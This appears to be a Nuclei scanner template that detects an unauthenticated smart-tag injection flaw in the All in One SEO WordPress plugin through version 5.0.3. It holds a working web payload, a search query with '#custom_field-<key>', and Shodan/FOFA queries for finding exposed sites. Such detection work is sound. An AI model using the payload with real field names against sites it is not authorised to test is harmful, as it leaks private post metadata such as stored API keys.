All in One SEO (AIOSEO) through 5.0.3 substitutes the visitor-controlled search term into the search results title (#search_term) and parses it again for smart tags, so a query containing "#custom_field-<key>" can resolve non-public post metadata. Version 5.0.4 escapes the "#" denotation character. This template uses a random, non-existent field name to test whether the tag is consumed without reading stored data.
id: CVE-2026-109367
info:
name: All in One SEO <= 5.0.3 - Unauthenticated Smart Tag Injection via Search Term
author: maulanawirawan
severity: medium
description: |
All in One SEO (AIOSEO) through 5.0.3 substitutes the visitor-controlled search term into the search results title (#search_term) and parses it again for smart tags, so a query containing "#custom_field-<key>" can resolve non-public post metadata. Version 5.0.4 escapes the "#" denotation character. This template uses a random, non-existent field name to test whether the tag is consumed without reading stored data.
impact: |
An unauthenticated attacker can make AIOSEO resolve arbitrary smart tags on search results pages, including #custom_field-<key>, which emits non-public post meta values (for example API keys or internal notes stored in custom fields) into the HTML title and the SearchResultsPage JSON-LD schema.
remediation: |
Update All in One SEO to version 5.0.4 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-109367
- https://www.wordfence.com/threat-intel/vulnerabilities/id/75510022-382c-4d03-9c59-1d06349e72bb
- https://plugins.trac.wordpress.org/browser/all-in-one-seo-pack/tags/5.0.3/app/Common/Utils/Tags.php#L1214
- https://plugins.trac.wordpress.org/browser/all-in-one-seo-pack/tags/5.0.3/app/Common/Utils/Tags.php#L1494
- https://plugins.trac.wordpress.org/changeset/3760115/all-in-one-seo-pack/trunk/app/Common/Utils/Tags.php
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-109367
epss-score: 0.00778
epss-percentile: 0.57201
cwe-id: CWE-200
metadata:
verified: true
max-request: 2
vendor: aioseo
product: all_in_one_seo
framework: wordpress
shodan-query: 'http.html:"/wp-content/plugins/all-in-one-seo-pack/"'
fofa-query: 'body="/wp-content/plugins/all-in-one-seo-pack/"'
tags: cve,cve2026,wordpress,wp-plugin,wp,all-in-one-seo-pack,aioseo,unauth,info-disclosure
variables:
probe: "nucleiaio{{randstr}}"
field: "nuclei{{randstr_1}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /?s={{probe}}%23ordinary-{{field}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(tolower(content_type), "text/html")'
- 'contains(body, "All in One SEO")'
- 'contains(baseline_title, "{{probe}}#ordinary-{{field}}")'
condition: and
internal: true
extractors:
- type: regex
name: baseline_title
part: body
group: 1
regex:
- '<title[^>]*>([^<]*)</title>'
internal: true
- raw:
- |
GET /?s={{probe}}%23custom_field-{{field}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(tolower(content_type), "text/html")'
- 'contains(body, "All in One SEO")'
- 'contains(search_title, "{{probe}}")'
- '!contains(search_title, "#custom_field-{{field}}")'
- '!contains(search_title, "#custom_field-{{field}}")'
condition: and
extractors:
- type: regex
name: search_title
part: body
group: 1
regex:
- '<title[^>]*>([^<]*)</title>'
internal: true
# digest: 4a0a0047304502207487af2e8311888f7d96663b6226c521ba9d9e18875490a93b9102f15758911c022100b991ecc8b6f16c663cf14c4fc7e658c09af93b2519eec89727df165161d60217:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.